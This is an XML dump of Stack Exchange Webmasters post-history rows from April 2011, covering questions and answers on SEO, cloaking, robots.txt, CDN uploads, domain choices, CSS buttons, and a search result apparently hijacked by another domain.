  <row Id="29250" PostHistoryTypeId="5" PostId="12746" RevisionGUID="35e858dc-5b53-4e37-9272-ab1bd395a1a2" CreationDate="2011-04-22T11:15:33.180" UserId="1064" Comment="Added iframe solution" Text="&gt; Is there a way to mark up an element&#xD;&#xA;&gt; to tell the spiders there is no useful&#xD;&#xA;&gt; information contained in this element,&#xD;&#xA;&gt; or &quot;Please don't index this element&quot;?&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      document.write('search engines will ignore this content');&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;[Cloaking][1] involves serving different content to requests which you have identified as search engine spiders; this method simply serves the same Javascript up to anyone who requests the page.&#xD;&#xA;&#xD;&#xA;You might want to add a Javascript cookie check to skip display of the modal if the user has already accepted your T&amp;CoS.&#xD;&#xA;&#xD;&#xA;&gt; Would it be considered cloaking, and&#xD;&#xA;&gt; as such incur a penalty if I hid this&#xD;&#xA;&gt; from the SEs based on user-agent?&#xD;&#xA;&#xD;&#xA;That is the most typical implementation of cloaking.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;&gt; I state it needs to have an HTML&#xD;&#xA;&gt; fallback, pure js is out.&#xD;&#xA;&#xD;&#xA;Sorry, I didn't see that mentioned in your question. Here's a rough implementation to consider:&#xD;&#xA;&#xD;&#xA;Filesystem:&#xD;&#xA;&#xD;&#xA;* `/robots.txt` - include &quot;Disallow: /iframe&quot;&#xD;&#xA;* `/iframe/terms.htm` - content that you'd like to serve up in the modal&#xD;&#xA;&#xD;&#xA;Example HTML doc:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;!-- ... --&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    div#iframeWrapper {&#xD;&#xA;    	position:absolute;&#xD;&#xA;    	top:0;&#xD;&#xA;    	left:0;&#xD;&#xA;    	height:100%;&#xD;&#xA;    	width:100%;&#xD;&#xA;    	background-color:#EFEFEF;&#xD;&#xA;    }&#xD;&#xA;    iframe#terms {&#xD;&#xA;    	position:absolute;&#xD;&#xA;    	top:50%;&#xD;&#xA;    	left:50%;&#xD;&#xA;    	height:600px;&#xD;&#xA;    	width:800px;&#xD;&#xA;    	margin-top:-300px;&#xD;&#xA;    	margin-left:-400px;&#xD;&#xA;    }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;!-- ... --&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;p&gt;Some content.&lt;/p&gt;&#xD;&#xA;    &lt;!-- IF COOKIE NOT SET --&gt;&#xD;&#xA;    &lt;div id=&quot;iframeWrapper&quot;&gt;&#xD;&#xA;    &lt;iframe id=&quot;terms&quot; src=&quot;/iframe/terms.htm&quot; width=&quot;800&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;!-- EOF IF COOKIE NOT SET --&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;&gt; Also, my second question is not about&#xD;&#xA;&gt; how to do the cloaking but weather it&#xD;&#xA;&gt; would be detrimental to the sites&#xD;&#xA;&gt; ranking&#xD;&#xA;&#xD;&#xA;Google may never find out about it, but it is always better to err on the side of caution - a *human* might see that what you are doing is legitimate, however, cloaking detection (and penalty assignment) is most likely to be performed by an algorithm, so why risk it?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cloaking" />
  <row Id="29251" PostHistoryTypeId="2" PostId="12787" RevisionGUID="96605919-eb47-4f35-abbc-017d51963387" CreationDate="2011-04-22T11:44:01.017" UserId="7027" Text="I've been asked to find out about SEO and getting links. We are apparently in a contract with a firm who have made changes to our site code, changes to the text on the site, and registered us with a list of directories.  I've had no involvement with this until now.&#xD;&#xA;&#xD;&#xA;They've told us to get links, and to add articles to our site.&#xD;&#xA;&#xD;&#xA;Is this the usual way of doing it? I think we were under the impression this was a usual part of the service, but the contract is unclear on this.&#xD;&#xA;&#xD;&#xA;I've googled and think I know what to do with articles, which is simplistically jut adding diverse content with each article focussing on a keyword, and create lots of them, right?  Some sites talk about percentage of keywords, does this really matter?&#xD;&#xA;&#xD;&#xA;How do I get links though?  If I start mailing sites asking for a link isn't that just going to be considered spam?  Do we buy them?  If so, where?&#xD;&#xA;&#xD;&#xA;As you can tell I'm completely new at this.  So many sites contradict each other, or promise impossible magic if you buy a product.  Is there a reasonable unbiased guide out there?  I have some IT  background but am only a user as far as the web goes.&#xD;&#xA;&#xD;&#xA;Sorry for the very basic questions.  Thanks." />
  <row Id="29252" PostHistoryTypeId="1" PostId="12787" RevisionGUID="96605919-eb47-4f35-abbc-017d51963387" CreationDate="2011-04-22T11:44:01.017" UserId="7027" Text="SEO - What does a firm usually provide?" />
  <row Id="29253" PostHistoryTypeId="3" PostId="12787" RevisionGUID="96605919-eb47-4f35-abbc-017d51963387" CreationDate="2011-04-22T11:44:01.017" UserId="7027" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="29254" PostHistoryTypeId="25" PostId="12787" RevisionGUID="df124e37-7c2d-4639-93ef-4f5e3b98cc5a" CreationDate="2011-04-22T12:09:17.593" Comment="http://twitter.com/#!/StackWebmasters/status/61401184606490625" />
  <row Id="29255" PostHistoryTypeId="2" PostId="12788" RevisionGUID="b05e270a-b88b-4764-854a-eec1e79fd254" CreationDate="2011-04-22T14:03:12.533" UserId="7028" Text="You can find a great list of ad networks at http://adsreview.net&#xD;&#xA;Its easy to find the CPC, CPM or CPA network that fits your needs and requirements. " />
  <row Id="29256" PostHistoryTypeId="10" PostId="11223" RevisionGUID="77e80835-48dc-40e6-94c2-4efcc94dbb2e" CreationDate="2011-04-22T14:28:23.237" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="29257" PostHistoryTypeId="2" PostId="12789" RevisionGUID="07d88805-7203-4ab5-9fad-2bac1e97b59d" CreationDate="2011-04-22T14:35:31.183" UserId="2930" Text="I have a **[blog][1]**. I am currently new to blogging and HTML and have no knowledge of CSS. I want to modify my blog to make the most of adsense and to beautify the blog.&#xD;&#xA;Please tell me how to reduce the size of the post and add an option &quot;**read more**&quot;. Also If you find anything that can be improved **please tell**. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com" />
  <row Id="29258" PostHistoryTypeId="1" PostId="12789" RevisionGUID="07d88805-7203-4ab5-9fad-2bac1e97b59d" CreationDate="2011-04-22T14:35:31.183" UserId="2930" Text="How to reduce the size of the post displayed?" />
  <row Id="29259" PostHistoryTypeId="3" PostId="12789" RevisionGUID="07d88805-7203-4ab5-9fad-2bac1e97b59d" CreationDate="2011-04-22T14:35:31.183" UserId="2930" Text="&lt;html&gt;&lt;css&gt;&lt;google-adsense&gt;" />
  <row Id="29260" PostHistoryTypeId="2" PostId="12790" RevisionGUID="7be0beeb-0417-4c80-ae04-0a7d78cde6c5" CreationDate="2011-04-21T22:59:01.533" UserDisplayName="CoreyH" Text="I was on the phone with a sales guy from Akamai and he mentioned that they offer a service that can handle user generated content uploads (videos in our case) to their edge network. &#xD;&#xA;&#xD;&#xA;Unfortunately, he passed me onto a partner company that is clueless and I can't seem to find any more information about it. &#xD;&#xA;&#xD;&#xA;Can someone point me to a CDN that offers such a product? " />
  <row Id="29261" PostHistoryTypeId="1" PostId="12790" RevisionGUID="7be0beeb-0417-4c80-ae04-0a7d78cde6c5" CreationDate="2011-04-21T22:59:01.533" UserDisplayName="CoreyH" Text="Use a CDN to handle UGC uploads" />
  <row Id="29262" PostHistoryTypeId="3" PostId="12790" RevisionGUID="7be0beeb-0417-4c80-ae04-0a7d78cde6c5" CreationDate="2011-04-21T22:59:01.533" UserDisplayName="CoreyH" Text="&lt;untagged&gt;" />
  <row Id="29263" PostHistoryTypeId="17" PostId="12790" RevisionGUID="24030725-b4f1-403a-9a1b-4d57ac2fdc5f" CreationDate="2011-04-22T14:50:40.147" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14724/use-a-cdn-to-handle-ugc-uploads" Text="" />
  <row Id="29264" PostHistoryTypeId="25" PostId="12789" RevisionGUID="3e85067d-ad85-4ed2-807d-bfb021cad0ba" CreationDate="2011-04-22T15:09:17.880" Comment="http://twitter.com/#!/StackWebmasters/status/61446483291017216" />
  <row Id="29265" PostHistoryTypeId="17" PostId="12792" RevisionGUID="a9d6d5d5-a9c8-44dc-a3f7-276a33fa1f1d" CreationDate="2011-04-22T15:16:01.170" UserId="-1" Comment="from http://stackoverflow.com/questions/5755373/why-did-my-new-markup-cause-the-site-to-disappear-from-google/5755932#5755932" Text="" />
  <row Id="29266" PostHistoryTypeId="2" PostId="12792" RevisionGUID="1ac9c67d-3f2c-44ef-9abf-47682470f102" CreationDate="2011-04-22T13:32:53.543" UserId="5684" Text="You might find that it goes back up again after a while – how long since you changed? Sounds like you know what you are doing, and the new site looks nicer and the markup looks fine...&#xD;&#xA;&#xD;&#xA;I'd probably change the robots.txt file on the old site to ban crawling to make sure that it's doesn't accidentally get indexed (you linked to it here for instance!), and make sure that you've got it registered on Google Webmaster Tools. It's worth having a sitemap.xml file that's registered in webmaster tools as well.&#xD;&#xA;&#xD;&#xA;Weird though – I'd wait a little longer before worrying too much." />
  <row Id="29267" PostHistoryTypeId="2" PostId="12791" RevisionGUID="84b78290-3779-4011-9550-8a0062127a67" CreationDate="2011-04-22T12:27:16.423" UserDisplayName="Stavros Korokithakis" Text="Unfortunately this post isn't about something as concrete as a bug, but it's been driving me nuts. I recently updated my blog's theme and software (I basically rewrote it) from http://old.korokithakis.net/ to http://www.korokithakis.net/.&#xD;&#xA;&#xD;&#xA;Yesterday, I noticed all my pages dropping from Google's search results. My Python tutorial used to be 3rd for &quot;learn python&quot; and now it's 30th, if it even appears on the list.&#xD;&#xA;&#xD;&#xA;I've allowed robots, all the header tags are in place, titles are the same as they used to be and the URLs that changed have permanent redirects to the new ones (the tutorial URLs haven't changed).&#xD;&#xA;&#xD;&#xA;Still, all my pages dropped from the results. What can be having such a huge impact on the rankings?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="29268" PostHistoryTypeId="1" PostId="12791" RevisionGUID="84b78290-3779-4011-9550-8a0062127a67" CreationDate="2011-04-22T12:27:16.423" UserDisplayName="Stavros Korokithakis" Text="Why did my new markup cause the site to disappear from Google?" />
  <row Id="29269" PostHistoryTypeId="3" PostId="12791" RevisionGUID="84b78290-3779-4011-9550-8a0062127a67" CreationDate="2011-04-22T12:27:16.423" UserDisplayName="Stavros Korokithakis" Text="&lt;seo&gt;" />
  <row Id="29270" PostHistoryTypeId="17" PostId="12791" RevisionGUID="9801773d-dcb5-427f-aea1-1abfb8800d56" CreationDate="2011-04-22T15:16:01.170" UserId="-1" Comment="from http://stackoverflow.com/questions/5755373/why-did-my-new-markup-cause-the-site-to-disappear-from-google" Text="" />
  <row Id="29271" PostHistoryTypeId="10" PostId="12789" RevisionGUID="7d99ab9c-ef4f-4069-8810-70d64461d100" CreationDate="2011-04-22T15:59:15.643" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29275" PostHistoryTypeId="6" PostId="12775" RevisionGUID="22ebc335-c98f-4ffb-8ac1-d73dc91c671b" CreationDate="2011-04-22T16:03:48.337" UserId="1253" Comment="edited tags" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="29276" PostHistoryTypeId="2" PostId="12793" RevisionGUID="a35edb88-5562-4650-9dac-b49adb944531" CreationDate="2011-04-22T17:13:52.723" UserId="5510" Text="Is there any website that offers a service that notifies you by email when a given site changes? I want to track changes on the site http://www.thief4.com.&#xD;&#xA;&#xD;&#xA;I'm not sure if this is the right place to ask though." />
  <row Id="29277" PostHistoryTypeId="1" PostId="12793" RevisionGUID="a35edb88-5562-4650-9dac-b49adb944531" CreationDate="2011-04-22T17:13:52.723" UserId="5510" Text="Is there any website/service that notifies you when a site has changed?" />
  <row Id="29278" PostHistoryTypeId="3" PostId="12793" RevisionGUID="a35edb88-5562-4650-9dac-b49adb944531" CreationDate="2011-04-22T17:13:52.723" UserId="5510" Text="&lt;websites&gt;&lt;notification&gt;" />
  <row Id="29279" PostHistoryTypeId="2" PostId="12794" RevisionGUID="0b646a9f-1170-42ca-a354-8335ba2d168a" CreationDate="2011-04-22T17:18:05.667" UserId="6198" Text="I have deluxe linux shared hosting with godaddy, and it supports perl. but i dont know how to setup and use perl scripts.&#xD;&#xA;Also i have no folder named CGI or CGI-BIN or anything like that.&#xD;&#xA;As movable type requires me to put my content in the CGI folder, i cant. creating it also doesn't work.&#xD;&#xA;&#xD;&#xA;So can you guide me on how to install movable type on godaddy. Also i dont want to spend money and install it from the godaddy hosting connection.&#xD;&#xA;And please remember as i'm on a shared hosting, i might not be able to edit my apache server configuration file.&#xD;&#xA;Thanks." />
  <row Id="29280" PostHistoryTypeId="1" PostId="12794" RevisionGUID="0b646a9f-1170-42ca-a354-8335ba2d168a" CreationDate="2011-04-22T17:18:05.667" UserId="6198" Text="Movable Type on GoDaddy" />
  <row Id="29281" PostHistoryTypeId="3" PostId="12794" RevisionGUID="0b646a9f-1170-42ca-a354-8335ba2d168a" CreationDate="2011-04-22T17:18:05.667" UserId="6198" Text="&lt;godaddy&gt;" />
  <row Id="29282" PostHistoryTypeId="2" PostId="12795" RevisionGUID="40355672-774e-4439-b4a0-f7288a21c0bf" CreationDate="2011-04-22T17:26:45.270" UserId="6033" Text="I want to direct an easy to remember domain url to my website that has nothing to do with the brand or the original domain. What is the proper way to add a second domain to a website without opening up the chance for being penalized by search engines? I don't want the second domain to show up in SERPs." />
  <row Id="29283" PostHistoryTypeId="1" PostId="12795" RevisionGUID="40355672-774e-4439-b4a0-f7288a21c0bf" CreationDate="2011-04-22T17:26:45.270" UserId="6033" Text="Adding a second domain to a website" />
  <row Id="29284" PostHistoryTypeId="3" PostId="12795" RevisionGUID="40355672-774e-4439-b4a0-f7288a21c0bf" CreationDate="2011-04-22T17:26:45.270" UserId="6033" Text="&lt;multiple-domains&gt;" />
  <row Id="29285" PostHistoryTypeId="2" PostId="12796" RevisionGUID="80c58ff2-5b64-409b-b775-b75c79a659c4" CreationDate="2011-04-22T17:47:17.200" UserId="4011" Text="Officially 99% of the game art are protected by copyright, only some medias packs/press packs are totally open. Game studios &quot;allow/tolerate&quot; the use of their visual element as long as it's in respect of the game and/or author.&#xD;&#xA;&#xD;&#xA;I.e : A site laughing at WoW could have some problem but a ressource site about raiding probably won't be bothered.&#xD;&#xA;&#xD;&#xA;**Edit : Also, I am not a lawyer but a gamer who visit a lot of gaming website and also own 1**" />
  <row Id="29286" PostHistoryTypeId="2" PostId="12797" RevisionGUID="dded26f7-ae05-4167-984c-eea82c6175c9" CreationDate="2011-04-22T17:55:19.033" UserId="4011" Text="What you tell us is part of SEO (directory, article, linking, keyword research) but it's not a standard as &quot;who do which part&quot;, I've seen SEO company do everything even the article creation about your company as I've seen company simply auditing your website and telling you what you should change.&#xD;&#xA;&#xD;&#xA;It's often a question of funding, as you can see on this article by Rand Fishkin @ [SEOMoz][1], SEO charge from 50$ to 1000$ per hour. What you are saying now is that you must do a big part of the SEO, depending of the price you paid you would maybe need a talk with that firm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/in-seo-do-you-get-what-you-pay-for" />
  <row Id="29287" PostHistoryTypeId="25" PostId="12793" RevisionGUID="6c966b90-2a11-43d3-973f-e8e405255a04" CreationDate="2011-04-22T18:09:17.547" Comment="http://twitter.com/#!/StackWebmasters/status/61491780822118400" />
  <row Id="29288" PostHistoryTypeId="2" PostId="12798" RevisionGUID="f3c59a43-7edc-4289-b51f-0d61719f8cd7" CreationDate="2011-04-22T19:09:48.127" UserId="118" Text="Putting some code through the html5 validator, I get this:&#xD;&#xA;&#xD;&#xA;&gt; Warning: The name attribute on the a&#xD;&#xA;&gt; element is obsolete. Consider putting&#xD;&#xA;&gt; an id attribute on the nearest&#xD;&#xA;&gt; container instead.&#xD;&#xA;&#xD;&#xA;I find that unclear.  Is the &quot;nearest container&quot; for an anchor link the a itself, so that the correct code would be `&lt;a id='blah'&gt;` instead of `&lt;a name='blah'&gt;`?  Or are empty placeholder `&lt;a&gt;` tags as a whole deprecated, and anchors can simply point to any element with an id instead?" />
  <row Id="29289" PostHistoryTypeId="1" PostId="12798" RevisionGUID="f3c59a43-7edc-4289-b51f-0d61719f8cd7" CreationDate="2011-04-22T19:09:48.127" UserId="118" Text="Name attribute is obsolete, what is the correct behavior when dealing with anchors?" />
  <row Id="29290" PostHistoryTypeId="3" PostId="12798" RevisionGUID="f3c59a43-7edc-4289-b51f-0d61719f8cd7" CreationDate="2011-04-22T19:09:48.127" UserId="118" Text="&lt;html5&gt;&lt;anchor&gt;" />
  <row Id="29291" PostHistoryTypeId="2" PostId="12799" RevisionGUID="49514de4-0c2b-4a62-8319-2fdc50424e7d" CreationDate="2011-04-22T19:13:19.247" UserId="1064" Text="Akamai offers a [Content Control Utility][1] (with an API) which could be used to alert its crawlers to content on your servers which needs to be populated to edge caching servers.&#xD;&#xA;&#xD;&#xA;Presumably the sales guy was either not familiar with some of the technical aspects of his company's offerings or, more likely, he was trying to direct you to a third-party reseller which provided a more accessible interface if you would rather not invest in developing against the API.&#xD;&#xA;&#xD;&#xA;  [1]: http://ndn.newsweek.com/media/79/Content_Control_Interfaces.pdf" />
  <row Id="29292" PostHistoryTypeId="2" PostId="12800" RevisionGUID="fe1c458c-cebb-45d5-a21d-bd617546aff1" CreationDate="2011-04-22T19:21:14.260" UserId="7032" Text="We had our website as .php for 3 years, and recently it has been getting hacked, and just switched to an ASP.NET CMS template I wrote from scratch as it is more secure and should prevent these issues.&#xD;&#xA;&#xD;&#xA;Unfortunately, some of the .php pages still show up in the google results, and some of our search results are hijacked.  If you do a search on google for wholesale used tires.  You will see a site with our title, and our description, yet with another url.  The url stealing our search result is www.wanxiangsh.com/, when it should be displaying http://www.usedtires.com.  Yet, it still directs the user to http://www.usedtires.com but not giving my customer google ad-revenue.  As if it was somehow stealing it. But when I type www.wanxiangsh.com into my browser it displays a chinese chemical company.  Any insight into what is going on here? Does google somehow have a corrupt cache of our website?  &#xD;&#xA;&#xD;&#xA;If you view the record I received on our site below that I received from google, you sill see that there is a suspicious url_box_1 field with the value www.wanxiangsh.com at the bottom of the record.&#xD;&#xA;&#xD;&#xA;AutoDetectedBrowser: Firefox 4&#xD;&#xA;AutoDetectedOS: Windows 7&#xD;&#xA;IssueType: lr_dmca&#xD;&#xA;Language: en&#xD;&#xA;agree1: checked&#xD;&#xA;agree: checked&#xD;&#xA;companyname: Usedtires.com&#xD;&#xA;country_residence: US&#xD;&#xA;description_of_copyrighted_work: Copyrighted website is being displayed in&#xD;&#xA;a URL that is not owned by me. It is stealing google adsense revenue and&#xD;&#xA;visitors to my site.&#xD;&#xA;dmca_signature: Howard Levy&#xD;&#xA;dmca_signature_date_day: 19&#xD;&#xA;dmca_signature_date_month: 04&#xD;&#xA;dmca_signature_date_year: 2011&#xD;&#xA;first_and_last: Howard Levy&#xD;&#xA;first_name: Howard&#xD;&#xA;hidden_product: websearch&#xD;&#xA;last_name: Levy&#xD;&#xA;location_of_copyrighted_work: www.usedtires.com&#xD;&#xA;represented_copyright_holder: Howard Levy&#xD;&#xA;url_box_1: www.wanxiangsh.com/" />
  <row Id="29293" PostHistoryTypeId="1" PostId="12800" RevisionGUID="fe1c458c-cebb-45d5-a21d-bd617546aff1" CreationDate="2011-04-22T19:21:14.260" UserId="7032" Text="My Google result is displaying incorrect URL" />
  <row Id="29294" PostHistoryTypeId="3" PostId="12800" RevisionGUID="fe1c458c-cebb-45d5-a21d-bd617546aff1" CreationDate="2011-04-22T19:21:14.260" UserId="7032" Text="&lt;hijacked&gt;" />
  <row Id="29295" PostHistoryTypeId="2" PostId="12801" RevisionGUID="3462dd90-72d0-40c5-bc58-a55447d9d0c4" CreationDate="2011-04-22T19:29:27.443" UserId="7033" Text="Here is one that I've used, it sends you an email each day of changes to a particular page or set of pages you want to watch: http://www.watchthatpage.com/" />
  <row Id="29296" PostHistoryTypeId="2" PostId="12802" RevisionGUID="b74e17fa-63bc-4970-a04d-3b4f7d18a8eb" CreationDate="2011-04-22T19:50:27.830" UserId="1253" Text="Just do a 301 redirct from the short domain to the main domain. That will allow users to always find the main site and tell search engines the short URL doesn't really exist and to only index the main URL." />
  <row Id="29297" PostHistoryTypeId="6" PostId="12795" RevisionGUID="93a5ff77-b2ae-4585-b112-f2ab9d55ea92" CreationDate="2011-04-22T19:51:19.733" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;multiple-domains&gt;" />
  <row Id="29298" PostHistoryTypeId="2" PostId="12803" RevisionGUID="d6b16189-126a-4ae6-bba5-f491a197300f" CreationDate="2011-04-22T20:00:05.287" UserId="2739" Text="I use [changedetection.com][1].&#xD;&#xA;&#xD;&#xA;It's no frills, but it monitors web pages and sends you email updates when a page changes (and you can define what sort of changes you want to monitor).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.changedetection.com/" />
  <row Id="29299" PostHistoryTypeId="2" PostId="12804" RevisionGUID="05b615c2-6264-4751-bc66-0e1b940e6fb5" CreationDate="2011-04-22T20:00:47.523" UserId="1064" Text="&gt; [A]re empty placeholder &lt;a&gt; tags as a&#xD;&#xA;&gt; whole deprecated, and anchors can&#xD;&#xA;&gt; simply point to any element with an id&#xD;&#xA;&gt; instead?&#xD;&#xA;&#xD;&#xA;I prefer to jump users to heading tags (following MediaWiki's default behavior) where in-page links are needed, but yes, you could address the ID of any element.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/HTML/html_links.asp" />
  <row Id="29300" PostHistoryTypeId="2" PostId="12805" RevisionGUID="6cc2b644-6475-4c22-a26d-863bc61cf673" CreationDate="2011-04-22T20:06:10.580" UserId="7031" Text="'d like to have one image for the background and then reuse that for any size button with any text on it by just using a CSS class. So, I'd like to have the button, the moused-over and clicked button as images, but then use CSS to apply that to a button so that I can change the text in the HTML (rather than having to recreate the button image everytime the text changes or I need a new button with new text). Also, that'll allow me to change the color of ALL buttons in one place.&#xD;&#xA;&#xD;&#xA;I do web development only part time, so a bit of a newbie at the CSS stuff." />
  <row Id="29301" PostHistoryTypeId="1" PostId="12805" RevisionGUID="6cc2b644-6475-4c22-a26d-863bc61cf673" CreationDate="2011-04-22T20:06:10.580" UserId="7031" Text="How do you use/make CSS based buttons?" />
  <row Id="29302" PostHistoryTypeId="3" PostId="12805" RevisionGUID="6cc2b644-6475-4c22-a26d-863bc61cf673" CreationDate="2011-04-22T20:06:10.580" UserId="7031" Text="&lt;css&gt;&lt;button&gt;" />
  <row Id="29303" PostHistoryTypeId="2" PostId="12806" RevisionGUID="2237418f-eed4-48ae-bacf-24aee69e0800" CreationDate="2011-04-22T20:22:01.923" UserId="2739" Text="This is a good tutorial for creating CSS buttons - http://designshack.co.uk/articles/css/6-useful-css-button-recipes-you-can-copy-paste" />
  <row Id="29304" PostHistoryTypeId="17" PostId="12808" RevisionGUID="10bb8acd-c5d1-45e9-8463-5dce2ef5221f" CreationDate="2011-04-22T20:32:39.883" UserId="-1" Comment="from http://stackoverflow.com/questions/5759658/co-domain-worthy-for-main-site/5759669#5759669" Text="" />
  <row Id="29305" PostHistoryTypeId="2" PostId="12808" RevisionGUID="de97b18f-ccef-4b32-aac5-966b261100b6" CreationDate="2011-04-22T20:17:51.137" UserId="7034" Text="It will all be up to marketing, and trademarks.&#xD;&#xA;&#xD;&#xA;This question is not really appropriate for Stack Overflow, though." />
  <row Id="29306" PostHistoryTypeId="2" PostId="12807" RevisionGUID="303ed99c-314e-4ff5-bc57-7fe9677a601d" CreationDate="2011-04-22T20:16:29.467" UserDisplayName="user721069" Text="Thought of a great name for the idea of my site, but the .com has already gone.&#xD;&#xA;&#xD;&#xA;However the .co is available.&#xD;&#xA;&#xD;&#xA;Is that common enough to use as the main domain for the site? It's a brand new site so it will be branded and promoted as sitename.co all the time.&#xD;&#xA;&#xD;&#xA;Anyway have any .co?" />
  <row Id="29307" PostHistoryTypeId="1" PostId="12807" RevisionGUID="303ed99c-314e-4ff5-bc57-7fe9677a601d" CreationDate="2011-04-22T20:16:29.467" UserDisplayName="user721069" Text=".co domain worthy for main site?" />
  <row Id="29308" PostHistoryTypeId="3" PostId="12807" RevisionGUID="303ed99c-314e-4ff5-bc57-7fe9677a601d" CreationDate="2011-04-22T20:16:29.467" UserDisplayName="user721069" Text="&lt;domains&gt;" />
  <row Id="29309" PostHistoryTypeId="17" PostId="12807" RevisionGUID="44e739cf-6434-4863-a37e-b69527ae1274" CreationDate="2011-04-22T20:32:39.883" UserId="-1" Comment="from http://stackoverflow.com/questions/5759658/co-domain-worthy-for-main-site" Text="" />
  <row Id="29310" PostHistoryTypeId="10" PostId="12772" RevisionGUID="2ece079b-c5a0-404f-9b80-8e6a8c0940a6" CreationDate="2011-04-22T21:07:29.317" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="29311" PostHistoryTypeId="25" PostId="12805" RevisionGUID="eaede467-074e-4ba8-bd3a-c8e7d17c865d" CreationDate="2011-04-22T21:09:17.790" Comment="http://twitter.com/#!/StackWebmasters/status/61537080710406144" />
  <row Id="29312" PostHistoryTypeId="2" PostId="12809" RevisionGUID="a832acf1-f111-45e8-9065-96fd1b6d8f30" CreationDate="2011-04-22T21:43:28.870" UserId="6819" Text="A snippet of [Advanced Gravatars](http://weblogs.asp.net/jgalloway/archive/2007/10/02/gravatar-201-advanced-gravatars-in-asp-net.aspx &quot;dumb title&quot;):&#xD;&#xA;&#xD;&#xA;&gt; Since Gravatar is serving the images&#xD;&#xA;&gt; instead of you, the image load time is&#xD;&#xA;&gt; out of your hands. Like a lot of good&#xD;&#xA;&gt; internet services, Gravatar slowed way&#xD;&#xA;&gt; down as it got more popular. A major&#xD;&#xA;&gt; update came out earlier this year (2007)&#xD;&#xA;&gt; which greatly improved scalability.&#xD;&#xA;&gt; For instance, right when you upload an&#xD;&#xA;&gt; image, it's scaled to all possible&#xD;&#xA;&gt; sizes - from 1x1 to 80x80 - and&#xD;&#xA;&gt; mirrored to two Amazon S3 servers.&#xD;&#xA;&gt; Despite all that, though, it ran a bit&#xD;&#xA;&gt; slow in some of my tests.&#xD;&#xA;&#xD;&#xA;The post briefly discusses various approaches and references many real world examples.&#xD;&#xA;&#xD;&#xA;Implementing a custom handler allows you to not show any external links for gravatars, but you can still decide where to get the images, with or without using a local cache to improve performance.&#xD;&#xA;&#xD;&#xA;There are code samples (ASP.NET) and references for simple caching/reluctant caching/etc., that helped me implement my own version of a caching gravatar handler." />
  <row Id="29313" PostHistoryTypeId="5" PostId="12807" RevisionGUID="ce4ee251-ee77-4f50-b674-812d094870ab" CreationDate="2011-04-22T21:45:53.097" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [.CO Domains. Worthwhile?](http://webmasters.stackexchange.com/questions/7209/co-domains-worthwhile)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Thought of a great name for the idea of my site, but the .com has already gone.&#xD;&#xA;&#xD;&#xA;However the .co is available.&#xD;&#xA;&#xD;&#xA;Is that common enough to use as the main domain for the site? It's a brand new site so it will be branded and promoted as sitename.co all the time.&#xD;&#xA;&#xD;&#xA;Anyway have any .co?" />
  <row Id="29314" PostHistoryTypeId="10" PostId="12807" RevisionGUID="e3416d82-fc62-4933-aaee-d3ba7e79db3f" CreationDate="2011-04-22T21:45:52.770" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29315" PostHistoryTypeId="2" PostId="12810" RevisionGUID="694fe406-88ea-4a45-b836-5ca95fb7a3ec" CreationDate="2011-04-22T22:33:11.947" UserId="4118" Text="In your CSS, ensure that for every image, either its `width` or `height` (usually height is appropriate) is `auto` (which is the default) rather than a specific value. This causes the height (or width) to be computed according to the other dimension and the aspect ratio of the image. (Reference: [CSS 2.1 section 10.6.2](http://www.w3.org/TR/CSS21/visudet.html#inline-replaced-height))&#xD;&#xA;&#xD;&#xA;For example, if you declare `max-width: 100%; height: auto;` for an image, then it will be no wider than the box/column it is inside, and it will scale vertically to match the horizontal scaling. Stack Exchange does this with images you include in questions and answers." />
